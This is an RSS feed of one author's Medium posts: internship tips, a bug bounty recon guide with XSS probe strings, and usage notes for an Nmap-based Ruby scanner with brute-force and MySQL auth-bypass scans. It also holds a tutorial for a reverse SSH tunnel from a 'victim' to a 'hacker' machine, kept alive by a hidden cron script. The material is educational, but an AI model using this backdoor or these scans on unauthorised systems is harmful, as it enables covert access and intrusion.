<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Michael Meade on Medium]]></title>
        <description><![CDATA[Stories by Michael Meade on Medium]]></description>
        <link>https://medium.com/@michaelmeade3?source=rss-5a1edb7ee70f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Pp5TuLnZoIvoFt3YesMjtw.jpeg</url>
            <title>Stories by Michael Meade on Medium</title>
            <link>https://medium.com/@michaelmeade3?source=rss-5a1edb7ee70f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 22:00:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@michaelmeade3/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Tips for looking for internship/job while in college!]]></title>
            <link>https://medium.com/@michaelmeade3/tips-for-looking-for-internship-job-while-in-college-210476ab2e32?source=rss-5a1edb7ee70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/210476ab2e32</guid>
            <category><![CDATA[internships]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[college]]></category>
            <dc:creator><![CDATA[Michael Meade]]></dc:creator>
            <pubDate>Fri, 04 Mar 2022 13:21:05 GMT</pubDate>
            <atom:updated>2022-03-04T13:21:05.144Z</atom:updated>
            <content:encoded><![CDATA[<p>When I got into college I had it in my head that you had be a senior/junior to get an internship. This is not the case, you can apply to internships the first summer vacation of your college career. I wish I knew this when I was a freshman, instead of working at a crappy summer job, I could of gotten experience in the field.</p><p>When I was applying to internships I was always worried that I was not good enough or skilled enough, looking back it was stupid to think that. Internships are about learning the field outside of the classroom. It took watching the interns at my current job to realize that. Looking back I wished I applied to more internships, even though I would have probably been assigned non important work. at least I would of been around people in the field and might of even picked up a new skill or learned something new. Also it looks good on a resume.</p><ul><li>Don’t be afraid to apply to companies</li><li>WHO CARES IF THEY DONT WANT YOU</li></ul><p>While working the crappy summer job, sometimes I would come home upset that I was working a crappy job and would spend some of my free time looking for internships but I never applied to any because I was intimidated and scared of getting rejected.</p><p>Looking back, it was stupid to be scared of getting rejected. Who cares if the company does not want you, the whole idea of getting a internship is about getting experience outside of the classroom.</p><h4>Don’t be a resumé slut</h4><p>When looking for a job after I graduated, I was was a resume slut. I asked a whole bunch of people for input on my resume. It took a while but I realized that my resume was a mess, everyone I contacted for help each had a different opinion on how it should look, what to add, etc . I had let too many cooks in the kitchen. Only ask one or two people to help you with your resume.</p><p>I learned that there was no one way to create resume, it is really subjective. As long as the resume looks professional and includes relevant information about you, it should be fine. I also realized that it is okay to send out different resumes, if you are applying for a certain type of job, create a version of your resume that matches the job you are applying for. It is okay to add stuff or remove stuff and send it out. You could even reapply to jobs that you did not get a reply back.</p><p><strong>Most colleges have a department who’s whole job is to help students get jobs or look over resumes. USE THEM!</strong></p><p>If possible try to get someone in the <em>The Center for Career and Professional Development</em> that is familiar with your major. I think it really makes a difference. I had gone to the <em>The Center for Career and Professional Development </em>before and had help my with my resume but the first couple times I went the people that helped me were not familiar with Cybersecurity, the last time I went which was my last semester in college I asked for someone that had a background in my field. I think it really helps to have someone in the field to help edit your resume because they will likely know how to make your resume more appealing and they know skills employers want.</p><h4><strong>Set a goal for yourself</strong></h4><p>Set a goal to apply to 2–3 jobs a day. By the end of the week you would have applied to <strong>14 jobs</strong>! You will likely not hear back from most of the jobs, but do not sweat it! If they do not have the common curiosity to tell you if you did not get the job, do you really want to work there?</p><p>Do not limit yourself to one platform! Check a bunch of different jobs searching sites, different companies use different platforms.</p><ul><li>glassdoor</li><li>indeed</li><li>monster</li><li>LinkedIn</li><li>google</li><li>local news paper</li></ul><h3>Keep track of what places you have applied</h3><p>Create a spreadsheet of all the places that you have applied. The spreadsheet should have a column of the following:</p><ul><li>Name of the company</li><li>The date you applied</li><li>The status ( accepted/ rejected/ ignored )</li><li>Salary</li><li>Job title</li><li>did you send resume/ cover letter?</li><li>what platform did you use to apply?</li></ul><p>Keeping a detailed spreadsheet of the places you applied. It will make it easier to keep track the status of each application. If you are applying 14 different companies a week it can be confusing trying to keep track of places you applied and the status of the application.</p><h3>Compete in Hacking challenges</h3><ul><li><a href="https://nationalcyberleague.org/">https://nationalcyberleague.org</a></li><li><a href="https://www.nationalccdc.org/">https://www.nationalccdc.org</a></li><li><a href="https://ash.engr.uconn.edu/grav/">https://ash.engr.uconn.edu/grav/</a></li></ul><p>NCL ( the first bullet ) is a great competition to take skills learned in the classroom and use them in real life. They have a individual &amp; team competition. What makes NCL cool is that after the game, they give your stats on how you did, LinkedIn allows you to upload your stats. NCL does cost 35$ dollars to compete but I think it is worth it because of the experience you will gain from it and that it shows that you are willing to learn stuff outside of class which not everyone is willing to do.</p><p>CCDC is a team event, where colleges compete against each other in defending computers.</p><p>Competing in hacking competitions look cool on a resume and it give your experience that can be used to hone in your skills.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=210476ab2e32" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting up a Reverse SSH tunnel]]></title>
            <link>https://medium.com/@michaelmeade3/setting-up-a-reverse-ssh-tunnel-9ecc4e7762fa?source=rss-5a1edb7ee70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/9ecc4e7762fa</guid>
            <category><![CDATA[reverse-shell]]></category>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ssh-tunnel]]></category>
            <dc:creator><![CDATA[Michael Meade]]></dc:creator>
            <pubDate>Fri, 25 Feb 2022 23:04:09 GMT</pubDate>
            <atom:updated>2022-02-25T23:04:09.207Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yGoXkJXtNKivoUwXkAZHzQ.png" /><figcaption>Installing openssh-server</figcaption></figure><p>The image above shows the command used to install open-ssh on the machine. After the SSH server is installed now we have to create the RSA keys. RSA keys are better to use than passwords for SSH servers because an attacker might be able to brute force their way in if the used a weak password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VD4D2Z_Cgyt3qgMXizJk0w.png" /><figcaption>Creating the RSA key</figcaption></figure><p>In the image above we used ssh-key to create a RSA key that is has a size of 4096 bits. Our public &amp; private keys will be saved to the /home/moose/.ssh/ directory. You do not need to enter a password if you do not want to. If you do not set a password it will be easier to start the reverse SSH tunnel with a script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*R2Bzju5uT26klLRnGg4p_Q.png" /><figcaption>Editing the sshd_config file</figcaption></figure><p>Now that we have created our SSH keys, we have to edit the sshd_config file that is located in the /etc/ssh directory. You will likely need sudo permissions to edit the config file. You do not have to use nano, any text editor would work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*FFckWGzG_b65XJZo3Ks1Pw.png" /><figcaption>Uncomment the line that says GatewayPorts</figcaption></figure><p>Now find the line that contains the word GatewayPorts &amp; remove the # at the start of the line, also change no to yes .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*sJCLlS6-rR2pl96o8ULnqw.png" /><figcaption>Uncomment the PublickeyAuthentication line</figcaption></figure><p>Since we are using RSA keys to login, we have to remove the # from the line shown above. Also change it from no to yes .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*lf3if-PPEuRxRj1LiVeJug.png" /><figcaption>Uncomment this line</figcaption></figure><p>Now find the line that contains PasswordAuthentication and remove the hashtag from the line &amp; change it from yes to no</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*N2ET2D3ZoP_l-QBfJRpRzA.png" /><figcaption>Starting the SSH service</figcaption></figure><p>The command sudo service sshd start will start the SSH service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*DuGXHT6yKdOoOdwSNdoj-w.png" /><figcaption>Creating a authorized_keys file</figcaption></figure><p>Now create a file named authorized_keys in the .ssh directory. Moose1 will be the hacker’s computer &amp; Moose2 will be the victim’s computer. In order for moose2 to SSH into moose1, moose2’s RSA public key must be in moose1’s authorized_keys file. The next image shows the command that can be used to add Moose2’s public key into moose1’s authorized_keys file. This can be done manually to but you will need access to both machines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ddu1vLugXZ0rxdNYmPnVNw.png" /><figcaption>Copying moose2’s public key to moose1</figcaption></figure><p>The following command was used to add Moose2’s public key to Moose1 machine.</p><pre>ssh-copy-id -i id_rsa.pub 192.168.52.156</pre><p>After the ssh-copy-id command was ran you can test to see if it was successful by sshing to the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zu0X8MdXoOgAAATmIk9_lA.png" /><figcaption>Starting the reverse SSH tunnel on moose2</figcaption></figure><p>First we used the touch command to create a file named moose2. This was done to make sure that we actually SSHed into the moose1 box.</p><p>Next we ran the following command:</p><pre>ssh -R 43022:localhost:22 192.168.52.155 -N</pre><ul><li>192.168.52.155 -N will start a SSH connection to moose1</li><li>-R will open a reverse SSH tunnel</li><li>43022:localhost:22 will use connect to port 22 on moose1 <strong>(192.168.52.155)</strong> and forward the traffic to localhost &amp; port 43022 on moose1</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vL6W0yfIp7GuEDJNt2FHDg.png" /><figcaption>Connecting to the reverse shell</figcaption></figure><p>Now that a reverse SSH tunnel was created on moose1, we have to run the following command on <strong>moose1.</strong></p><pre>ssh localhost -p 43022</pre><p>The command above will connect to localhost on port 43022. After the command is ran, you should be able access the remote machine (moose2).</p><h4>Persistent Tunnel</h4><p>If we want to be able to connect to the machine anytime we want. We can create a cronjob that will run a bash script that will check to see if there&#39;s a process that contains the IP of the mosse1, if one does not exist then it will create a new one. In this example I created a cronjob that will run the script every minute. <a href="https://crontab-generator.org/">crontab-generator.org</a> is a fantastic tool that can be used to create a cronjob line.</p><p>To create the cronjob, run the following command in the terminal ( on moose2 ).</p><pre>crontab -e</pre><p>If you have never ran the command before on the machine, it will ask you what text editor you want to use .</p><pre><strong>* * * * * /usr/bin/bash /home/moose/.ssh/.t.sh &gt;/dev/null 2&gt;&amp;1</strong></pre><p>The cronjob above is the crontab line that I used. It will run the .t.sh script every minute.</p><p>The bash script shown below is the .t.sh file shown in the crontab above.</p><pre>#!/bin/bash<br>P=$(ps -ef | grep &quot;192.168.52.155&quot; | grep -v &quot;grep&quot; | wc -l)<br>if [&quot;$P&quot; == &quot;0&quot;];<br>then<br> ssh -R 43022:localhost:22 192.168.52.155 -N<br>fi</pre><p>Now close any tunnels if you have running, wait a minute and you should be able to run the following command any time you want.</p><pre>ssh localhost -p 43022</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ecc4e7762fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to hunt for bug bounties]]></title>
            <link>https://systemweakness.com/how-to-hunt-for-bug-bounties-d44e9000f735?source=rss-5a1edb7ee70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/d44e9000f735</guid>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[beginners-guide]]></category>
            <dc:creator><![CDATA[Michael Meade]]></dc:creator>
            <pubDate>Wed, 23 Feb 2022 13:50:41 GMT</pubDate>
            <atom:updated>2022-02-25T10:40:51.151Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*ccUzzJuizxegm5a1.jpg" /></figure><p>The first step when looking for bug bounties is to get to know the target.</p><p>Here are some of the type of information that should be gathered on your target:</p><ul><li>create a list of all the subdomains &amp; IPs that belong to the target</li><li>Find information about the type of software &amp; services the site uses.</li><li>Do they have a GitHub Account?</li><li>Check the robots.txt file</li><li>Does the site have any input forms, any parameters in the URLS?</li></ul><h4>Using search engines to do recon</h4><p>Sometimes search engines will crawl websites and index pages that have sensitive information or pages. Google Dorking is when you use specific queries to narrow down the results to exactly what you are looking for. Dorks can be used to search for certain files, strings, titles, web pages, etc.</p><p><a href="https://www.exploit-db.com/google-hacking-database">Exploit Db</a> is a site where people can submit dorks, dorks that were submitted on the site could be used or modified to help find information about the site that you want to target.</p><p>Google dorking is not just useful for hacking, but it can also be used in regular searches. For example lets say that we are targeting the site mcdonalds.com. We want to find out all the sites that Google has indexed we could use the following dork to find all the results for mcdonalds.com.</p><p>site: mcdonalds.com</p><p>The dork above will tell the search engine that we want all the sites that have “mcdonalds.com”.</p><p>The intitle dork seen below will tell the search engine to look for all the results that include “Index of” in the title.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qafHQDtjnet2fOZH__acRw.png" /><figcaption>Example of intitle dork</figcaption></figure><p>The image above shows the intitle dork in action. We used the dork to find websites that have a title of “Index of”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OHukYSE4jIzMA9fcqxM_gg.png" /></figure><p>The intext operator can be used to find pages that contain certain words. In the case of the image above, we told the search engine to look for any results from lowes.com that contain the text “password”</p><p>Most operators ( intitle, site, intext) can be combined with other operators to narrow down the results even more.</p><p>Google Dorks can can be used to find api key or other sensitive information that could aid you finding a vulnerability. When dorking, you do not need to use Google, other search engines can be used as well. All search engines are different and will probably return different pages.</p><h4>Checking the robots.txt file for sensitive directories</h4><p>Most sites will have a robots.txt file, the purpose of this file is to tell web crawlers what they are allowed to crawl and what they are not allowed to crawl. It is up to the crawler creator to honor the robots.txt file.</p><p>Robots.txt file can be a great way to see where any sensitive directories or file are on the site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*nCn8LNSsWq_h6nS06Kq49g.png" /><figcaption>example of a robots.txt file.</figcaption></figure><p>The image above shows that usa.gov does not want crawlers to crawl the /includes/ directory.</p><h4>Finding subdomains</h4><p>There are many hacking tools that can be used to find subdomain. One of my personal favorite tool is <a href="https://github.com/yanxiu0614/subdomain3">subdomain3</a>.</p><ul><li><a href="https://github.com/aboul3la/Sublist3r">Sublist3r</a></li><li><a href="https://github.com/fleetcaptain/Turbolist3r">Turbolist3r</a></li><li><a href="https://github.com/projectdiscovery/subfinder">Subfinder</a></li><li><a href="https://github.com/guelfoweb/knock">Knock</a></li><li><a href="https://github.com/channyein1337/sonarbyte">sonarbyte</a></li><li><a href="https://github.com/screetsec/Sudomy">Sudomy</a></li></ul><p>When looking for subdomains it is a good idea to use a couple of different subdomain enumerate tools because they might use different methods of getting subdomains. One possible way that a tool might look for a subdomain is to run through a list of popular subdomains that will check to see if the subdomain is valid. Another way is using DNS records to check to see if any subdomains can be found in the DNS records.</p><p>Now that we have a list of subdomains, we have widen our net. We could use the following tools to check to see if any of the subdomains are vulnerable to subdomain takeovers. Subdomains takeover usually happen because the subdomain has a CNAME in the DNS records but no host that is providing contents.</p><ul><li><a href="https://github.com/m4ll0k/takeover">https://github.com/m4ll0k/takeover</a></li><li><a href="https://github.com/EdOverflow/can-i-take-over-xyz">https://github.com/EdOverflow/can-i-take-over-xyz</a></li><li><a href="https://github.com/LukaSikic/subzy">https://github.com/LukaSikic/subzy</a></li></ul><p><a href="https://unit42.paloaltonetworks.com/dangling-domains/">Dangling DNS records</a> are when a host name is still tied to a DNS record but the hostname is not owned by the original user. A malicious user could create an AWS account and instance with the host name of the old server. Now all the traffic will be routed to the malicious server where they could carry out a bunch of different attacks. I created a list of some tools that can check to see if the server is vulnerable.</p><ul><li><a href="https://github.com/tacticaljmp/danglingaws">https://github.com/tacticaljmp/danglingaws</a></li><li><a href="https://github.com/In3tinct/Taken">https://github.com/In3tinct/Taken</a></li></ul><p>Hacking tools such as the ones listed above are cool and might work good, but sometimes you have to manually look for vulnerabilities in order to find one. It is a good idea to get familiar with how vulnerabilities work instead of relying on hacking tool to do the heavy lifting.</p><h4>Good ole Nmap</h4><p>Nmap is great scanning tool, it can be used in a bunch of different ways. Such as:</p><ul><li>Looking for services running on non standard ports</li><li>Determining what services are running on a host</li><li>Has a wide selection of <a href="https://nmap.org/nsedoc/">NSE scripts</a></li><li>It has <a href="https://nmap.org/book/man-bypass-firewalls-ids.html">Firewall Evasion</a> features</li><li>Can perform different types of scans ( xmas, fin, connect, idle, udp, etc )</li></ul><pre>nmap -sV -sC 127.0.0.1</pre><p>The -sv flag runs service detection scan. The -sC flag will run all the default NSE scripts. This might give the scanner more information about the services that are hosted on the server.</p><pre>nmap -p- 127.0.0.1</pre><p>The nmap command above will scan all 65535 ports.</p><pre>nmap 192.168.1.1 -A </pre><p>The -A flag will run Os detection, version detection, script scanning as well as run a traceroute.</p><pre>nmap -Pn --script=dns-brute example.com</pre><p>The command above will use <a href="https://nmap.org/nsedoc/scripts/dns-brute.html">dns-brute NSE script</a> to gather subdomains that might exists for the domain.</p><h4>Playing with user input</h4><p>The first thing I do when I come across any input fields is try the payloads listed <a href="https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html">here</a>.</p><p>If that does not work I will enter special characters at random and see if the website responded in a certain way or removed some of the characters.</p><p>If I enter characters like the following:</p><pre>&lt;script&gt;&lt;/script&gt;</pre><p>and the website responds but removes certain characters like this:</p><pre>&lt;script&lt;/script&gt; </pre><p>I might then try a string like this:</p><pre>&lt;script&gt;&gt;&lt;&lt;/script&gt;</pre><p>With the hopes that the website removes the first &gt; but keeps the other &gt; . Sometimes entering random characters and looking at what the site accepts or keeps can give you a good idea how they filter out certain characters. Also it is a good idea to look at the source code of the page to see if there is any JavaScript or code that tells you how they filter out special characters.</p><p>URL parameters can also be tested. There are a bunch of different attack vectors that could be used such as:</p><ul><li>parameter pollution</li><li>Sever Side Request Forgery</li><li>SQL injection</li><li>XSS</li><li><a href="https://owasp.org/www-community/attacks/Path_Traversal">Path Traversal</a></li><li><a href="https://owasp.org/www-community/attacks/XSRF">XSRF</a></li></ul><h4>Read other people’s Bug Bounty write ups</h4><p>No one is good at everything, same with bug Bounties. There is always new stuff to learn. One of the best ways to learn is to read other peoples bug bounty reports. Most of writeups can be found on Medium, some other good sites that have bug bounty write ups are:</p><ul><li><a href="https://infosecwriteups.com/tagged/bug-bounty">https://infosecwriteups.com/tagged/bug-bounty</a></li><li><a href="https://writeups.io/">https://writeups.io</a></li><li><a href="https://hackernoon.com/">https://hackernoon.com</a></li><li><a href="https://pentester.land/list-of-bug-bounty-writeups.html">https://pentester.land/list-of-bug-bounty-writeups.html</a></li></ul><p>Another good method of getting Bug bounty tips is to follow this hashtag on <a href="https://twitter.com/search?q=%23bugbountytips">Twitter</a>.</p><p>Below is a list of good sites that can help you learn how certain vulnerabilities work and allow you to practice hacking them in a safe environment</p><ul><li><a href="https://portswigger.net/web-security/learning-path">https://portswigger.net/web-security/learning-path</a></li><li><a href="https://ctf.hacker101.com/">https://ctf.hacker101.com</a></li><li><a href="https://www.hackthebox.com/">https://www.hackthebox.com</a></li><li><a href="https://owasp.org/www-community/attacks/">https://owasp.org/www-community/attacks</a></li><li><a href="https://www.hacksplaining.com/">https://www.hacksplaining.com</a></li><li><a href="https://xss-game.appspot.com/">https://xss-game.appspot.com</a></li><li><a href="https://bughunters.google.com/learn">https://bughunters.google.com/learn</a></li><li><a href="https://book.hacktricks.xyz/pentesting-web/web-vulnerabilities-methodology">https://book.hacktricks.xyz/pentesting-web/web-vulnerabilities-methodology</a></li><li><a href="https://portswigger.net/burp/documentation/desktop">https://portswigger.net/burp/documentation/desktop</a></li><li><a href="https://www.hackerone.com/resources/e-book/bug-bounty-field-manual">https://www.hackerone.com/resources/e-book/bug-bounty-field-manual</a></li><li><a href="https://www.reddit.com/r/bugbounty/">https://www.reddit.com/r/bugbounty</a></li></ul><h4>Never Give up</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*Ickg6s5BaXXaHdJz.jpg" /></figure><p>When you are starting out, it might takes months or weeks until you find a bug. <strong>But do not give up! </strong>You can learn as you hack and use the stuff you learned on other bug bounty programs.</p><blockquote>It’s not where you start, it’s where you finish.</blockquote><p>My wrestling coach in High School used to say that quote all the time during practice and meets. It holds true to almost anything you do. If you keep hacking away and learning you will likely become a expert on the topic. Remember though that no one can become a expert at everything and getting a bug bounty will take time and a lot of effort.</p><p>Maybe, spend a whole week targeting a site with a certain vulnerability, try everything you can think and then the next week try looking for a different type of vulnerability.</p><p>Use white boards or take notes during the hunt, that way you can come back to hacking when you take a break. Also sometimes if you been working on something too long you get tunnel vision and brain. Where the solution might be right there in front of you but since you too focus on it you miss it. After a day or two break come back with fresh eyes and brain and you might see something or figure it out.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d44e9000f735" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/how-to-hunt-for-bug-bounties-d44e9000f735">How to hunt for bug bounties</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rmap: Nmap Scanning in Ruby]]></title>
            <link>https://medium.com/@michaelmeade3/rmap-nmap-scanning-in-ruby-412a8337c8a9?source=rss-5a1edb7ee70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/412a8337c8a9</guid>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ruby]]></category>
            <dc:creator><![CDATA[Michael Meade]]></dc:creator>
            <pubDate>Mon, 21 Feb 2022 18:18:37 GMT</pubDate>
            <atom:updated>2022-02-21T18:18:37.736Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GDQurGVRTHKST5LubZU1CQ.png" /></figure><p>This tool uses the<a href="https://github.com/sophsec/ruby-nmap"> ruby-nmap gem</a>. Nmap has to be installed on your system for this tool to work. The tool uses the ruby-nmap gem to run the Nmap commands.</p><p>The code can be found at <a href="https://github.com/Michael-Meade/Rmap">https://github.com/Michael-Meade/Rmap</a></p><p>The first step is to install the ruby-nmap gem, this can be done by running gem install ruby-nmap . Nmap also has to be installed on your system, if you are on a Linux operating system the command, sudo apt-get install nmap can be ran to install Nmap on your system. If you are on Windows or any other operating system, use this<a href="https://nmap.org/download.html"> link</a> to download nmap.</p><p>Rmap is able to perform the following <a href="https://nmap.org/nsedoc/">NSE scans</a>:</p><ul><li>Banner</li><li>http-wordpress-enum</li><li>https-php-version</li><li>bitcoin-info</li><li>dns-brute</li><li>http-wordpress-users</li><li>http-affiliate-id</li><li>smtp-enum-users</li><li>smtp-brute</li><li>http-phpself-xss</li><li>vnc-info</li><li>smb-enum-shares</li><li>Apache server status</li><li>http-drupal-enum</li><li>http-enum</li><li>Mysql users</li><li>Mysql databases</li><li>mysql-vuln-cve2012–2122</li></ul><p>Rmap is also able to perform basic scans:</p><ul><li>Ack scan</li><li>UPD scan</li><li>Connect scan</li><li>Null scan</li><li>Fin scan</li><li>Xmas scan</li><li>Window scan</li><li>maimon scan</li><li>echo scan</li><li>Idle scan</li></ul><h4>Help Menu</h4><pre>ruby rmap.rb --help</pre><h4>Wordpress Enum</h4><pre>ruby rmap.rb --wordpress example.com</pre><p><a href="https://nmap.org/nsedoc/scripts/http-wordpress-enum.html">Enumerates </a>themes and plugins of Wordpress installations. The script can also detect outdated plugins by comparing version numbers with information pulled from api.wordpress.org.</p><h4>PHP-Version</h4><pre>ruby rmap.rb --phpversion example.com</pre><p>Attempts to retrieve the PHP version from a web server. PHP has a number of magic queries that return images or text that can vary with the PHP version.</p><h4>BTC Info</h4><pre>ruby rmap.rb --btcinfo 127.0.0.1</pre><p>Extracts version and node information from a Bitcoin server.</p><h4>DNS Brute</h4><pre>ruby rmap.rb --brutedns example.com</pre><p>Attempts to enumerate DNS hostnames by brute force guessing of common <a href="https://nmap.org/nsedoc/scripts/dns-brute.html">subdomains</a>.</p><h4>WordPress user enum</h4><pre>ruby rmap.rb --wpusers example.com</pre><p><a href="https://nmap.org/nsedoc/scripts/http-wordpress-users.html">Enumerates usernames</a> in Wordpress blog/CMS installations by exploiting an information disclosure vulnerability existing in versions 2.6, 3.1, 3.1.1, 3.1.3 and 3.2-beta2 and possibly others.</p><h4>Affiliate Id</h4><pre>ruby rmap.rb --affiliateid example.com</pre><p>Grabs <a href="https://nmap.org/nsedoc/scripts/http-affiliate-id.html">affiliate network IDs</a> (e.g. Google AdSense or Analytics, Amazon Associates, etc.) from a web page. These can be used to identify pages with the same owner.</p><h4>Open Redirect</h4><pre>ruby rmap.rb --openredirect example.com</pre><p><a href="https://nmap.org/nsedoc/scripts/http-open-redirect.html">Spiders a website </a>and attempts to identify open redirects. Open redirects are handlers which commonly take a URL as a parameter and responds with a HTTP redirect (3XX) to the target.</p><h4>Wordpress Combined scan</h4><pre>ruby rmap.rb --wp example.com</pre><p>Performs the following scans:</p><ul><li>http-wordpress-enum</li><li>http-wordpress-users</li><li>http-wordpress-brute</li></ul><h4>Smtp Users</h4><pre>ruby rmap.rb --smtpusers example.com</pre><p>Attempts to enumerate the users on a <a href="https://nmap.org/nsedoc/scripts/smtp-enum-users.html">SMTP server</a> by issuing the VRFY, EXPN or RCPT TO commands. The goal of this script is to discover all the user accounts in the remote system.</p><h4>SMTP Brute</h4><pre>ruby rmap.rb --smtpbrute example.com</pre><p>Performs brute force password auditing against <a href="https://nmap.org/nsedoc/scripts/smtp-brute.html">SMTP servers</a> using either LOGIN, PLAIN, CRAM-MD5, DIGEST-MD5 or NTLM authentication.</p><h4>PHP self XSS</h4><pre>ruby rmap.rb --phpselfxss example.com</pre><p>Crawls a web server and attempts to find <a href="https://nmap.org/nsedoc/scripts/http-phpself-xss.html">PHP files vulnerable to reflected</a> cross site scripting via the variable $_SERVER[&quot;PHP_SELF&quot;].</p><h4>VNC info</h4><pre>ruby rmap.rb --vncinfo example.com</pre><p>Queries a<a href="https://nmap.org/nsedoc/scripts/vnc-info.html"> VNC server </a>for its protocol version and supported security types.</p><h4>Enum SMB</h4><pre>ruby rmap.rb --enumsmb 127.0.0.1</pre><p>Attempts to<a href="https://nmap.org/nsedoc/scripts/smb-enum-shares.html"> list shares</a> using the srvsvc.NetShareEnumAll MSRPC function and retrieve more information about them using srvsvc.NetShareGetInfo. If access to those functions is denied, a list of common share names are checked.</p><h4>Apache2 status</h4><pre>ruby rmap.rb --apachestatus 127.0.0.1 </pre><p>Attempts to retrieve the server-status page for Apache webservers that have mod_status enabled. If the server-status page exists and appears to be from mod_status the script will parse useful information such as the system uptime, Apache version and recent HTTP requests.</p><h4>Drupal enum</h4><pre>ruby rmap.rb --drupalenum example.com</pre><p>Enumerates the installed <a href="https://nmap.org/nsedoc/scripts/http-drupal-enum.html">Drupal modules</a>/themes by using a list of known modules and themes.</p><h4>Drupal User</h4><pre>ruby rmap.rb --drupalusers example.com</pre><p><a href="https://nmap.org/nsedoc/scripts/http-drupal-enum-users.html">Enumerates Drupal users</a> by exploiting an information disclosure vulnerability in Views, Drupal’s most popular module.</p><h4>HTTP enum</h4><pre>ruby rmap.rb --httpenum example.com</pre><p><a href="https://nmap.org/nsedoc/scripts/http-enum.html">Enumerates directories</a> used by popular web applications and servers</p><h4>Mysql users</h4><pre>ruby rmap.rb --mysqlusers 127.0.0.1</pre><p>Attempts to list all users on a <a href="https://nmap.org/nsedoc/scripts/mysql-users.html">MySQL server</a>.</p><h4>Msql cve 2012–2122</h4><pre>ruby rmap.rb --mysqlcve2122 127.0.0.1</pre><p>Attempts to bypass authentication in <a href="https://nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html">MySQL</a> and MariaDB servers by exploiting CVE2012–2122. If its vulnerable, it will also attempt to dump the MySQL usernames and password hashes.</p><h4>Extracts Domains</h4><pre>ruby rmap.rb --extractdomains scan.xml</pre><p>The output of dnsbrute is parsed and all the subdomains are saved in a file named scan.xml .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=412a8337c8a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Gmail user enumeration]]></title>
            <link>https://medium.com/@michaelmeade3/gmail-user-enumeration-d3b2eb547a7d?source=rss-5a1edb7ee70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3b2eb547a7d</guid>
            <category><![CDATA[ruby]]></category>
            <category><![CDATA[gmail]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Michael Meade]]></dc:creator>
            <pubDate>Mon, 14 Feb 2022 17:03:54 GMT</pubDate>
            <atom:updated>2022-02-14T17:06:54.254Z</atom:updated>
